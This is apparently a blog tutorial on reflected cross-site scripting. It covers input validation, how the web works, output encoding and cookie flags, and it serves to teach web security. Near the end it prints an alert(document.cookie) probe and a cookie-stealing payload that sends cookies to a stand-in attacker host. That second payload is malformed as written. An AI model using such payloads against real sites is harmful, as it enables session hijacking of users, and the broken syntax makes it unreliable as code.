Table of Contents
Background
Cross site scripting commonly referred to as XSS, is probably the most wide spread type of web application vulnerability. It’s a result of dropping the ball on a fundamental secure coding concept, mainly validating user input and escaping output in it’s respective context. Not adhering to this opens the door for XSS (injecting Javascript into a request parameter it being reflected in response and automagically executing in the browser) and a host of other web application vulnerabilities. I can think of a few like HTML injection, command injections, host header injection to name a few. So in plain English it means if you accept anything from a client (something the user entered in the browser) it should be treated as potentially malicious. This means sanitizing it somehow (especially if it HAS to be reflected back to the browser). Maybe we use Javascript to check all the form fields for special characters before it even get to the server. Or using a regex on the server side to check for special characters. On the server we’d be sure to encode these. Some we might check for are ” `()*&\./|<>”. But why those? Since injection usually means sending some code up to the server (hoping it to be ‘executed’), in XSS wanting it to be reflected back to us in the response, these are all symbols used in scripting language and the OS to perform commands. Since Javascript’s what make the web dynamic we hope to send some up to the server, it “reflecting” our input back to us in a response somewhere in the page. If we can get this to happen we have XSS.
Input Validation
An example of input validation in action is when you enter the wrong type of data when filling out a form. If you entered a letter in the field that knows it should only expect digits it won’t let you submit the form. You’ll usually see something similar to “Error zip code can contain numerical characters only.” Although in this instance we’re talking about form fields (fields on a webpage that the user directly interact with, without say the need for developer tools or burp), the server uses all the data it receives in a request for a particular reason. So when we enter a URL in our browser and press go a lot of thing happen behind the scenes respectfully at lightning speeds and the user usually never knows about any of this. Let’s list out EXACTLY what happens. User opens their browser and types https://stackoverflow.com
1. The browser checks the cache for a DNS record to find the corresponding ip address for stackoverflow.com. First it checks the browser cache, then the OS cache, third the router cache, then the ISPs cache.
2. If the above is unsuccessful. The ISPs DNS server initiates a query to determine the IP of stackoverflow.com.
3. The browser initiates a TCP connection with the server.
4. Once the connections established (syn-acks anyone) the browser sends an HTTP request to the browser.
5. The server handles the request and sends back a response.
6. The browser displays all the html and executes any Javascript in the response.
As i’m listing these out I realize that thinking of how beautiful it all works has made me smile. This is why you to need to have enormous RESPECT for the web and technology. It’s like poetry or something. Complex things are so perfectly abstracted such that what the user interacts with is totally different from what’s going on behind the scenes. But i’m afraid we’ve come to expect so much we don’t appreciate it. I digress. So be it the request headers like a cookie, or location. Or a parameter in the POST body of the request. They’re all possible ways of getting our user input to the server.
It goes without being said the reader needs to have a good understanding of “how the web works”. So let’s get this out the way.
HTTP – HTML – The Web
The web works on the HTTP protocol a client-server model. Your web browser the so-called client in this scenario “speaks” to the web server using the protocol exchanging messages. A one way communication with the browser asking (requesting) and the server answering (serving) back the content that was requested. A request captured from the browser to google.com in Burp looks like this:
The web server responds with the following:
Of course this is just some of the code that makes up what we commonly know as
Javascript
In addition you need have a brief understanding of Javascript. It the client-side programming language. So within HTML which is used to build static web pages you embed Javascript to make webpages dynamic. It has full access to the DOM and any HTML element on the page. I like to think of it as Javascript pimps out HTML. LOL. The web as we no it doesn’t look anything that we know without Javascript. Most pages simply won’t work without it. Try disabling in your browser and viewing any webpage you’ll see.
This is still a reflected cross-site scripting tutorial! This highlights a creed I’ve always follows. I prefer in depth thorough information when I’m learning and not just the surface level understandings. Let’s continue.
1: Simple HTML file with some elements. A heading tag, a paragraph tag enclosed in HTML tags defining a valid HTML document.
2: Javascript normally identified being within <script></script> tags inside HTML here is being used directly within a button responding to it’s onclick event. This code says “I’ll display a button with the text ‘Click me to dis….Time.’ When someone clicks me (the onclick event fires) I’ll use call Javascript’s Data function and assign the value to the element inside the HTML identified by id ‘demo’. In the browser is look like
The browser will automatically gladly execute any Javascript it receives. I mean that’s it job! The browser is oblivious to the issue at hand. Besides this inputs coming from a “trusted” source mainly the server.
Summary
XSS is user input issue. If we notice user input being reflected by the server than we may have a case for XSS. The may in this case is qualified with the following. This also points back to a statement mentioned in the beginning paragraphs about escaping output in it’s context. In an ideal world all developers would understand all the web application vulnerabilities and employ secure and defensive coding practices. Unfortunately because of tight release windows this usually isn’t the case. Businesses exist to generate revenue security is still a oversight in most organizations. Anyway if you know you have to send user input back to the browser you can “escape” or encode it. Say you wanted to display the current users name in the browser, which isn’t so uncommon. Let’s also so this is directly after the user authenticated and inputted their username and password. Okay once we receive the input even if it contains bad characters (extra points for validating on browser before sending the to the server) we apply HTML encoding. This essentially “neutralizes” our payload making it harmless. (not exploitable)
There are 2 flags that should be mentioned with cookies usually associated with cross site scripting. Since this is an attack on the user leveraging the browser, stealing cookies is usually the desired thing. Let’s definitely not dismiss the fact that you can run any Javascript including making ajax request. We’ll leave the complex stuff out for now.
HTTP Only Cookie: If this flag is set on the cookie is disallows clients side scripts from accessing the cookie. This means even if we found a vulnerability if we tried to access the cookie using it would be blank. We could try like this <script>alert(document.cookie)</script>. A more sinister attempt would be <script><img src='https://attackersip/whatever?cookie=' + document.cookie</script>.
Whereas the first attempt just tries to alert the value of the cookie in the browser, the second attempts to send the cookie off to the attacker’s server, where he’d be monitoring his web server logs awaiting the cookie.
Secure Cookie: If this cookie is set then the cookie will only be transmitted to the server using an encrypted channel. TLS?
Video 1: Reflected XSS-Challenge [1]
Video 2: Reflected XSS-Challenge [2-5]
Resources:
Hope you enjoying so far.
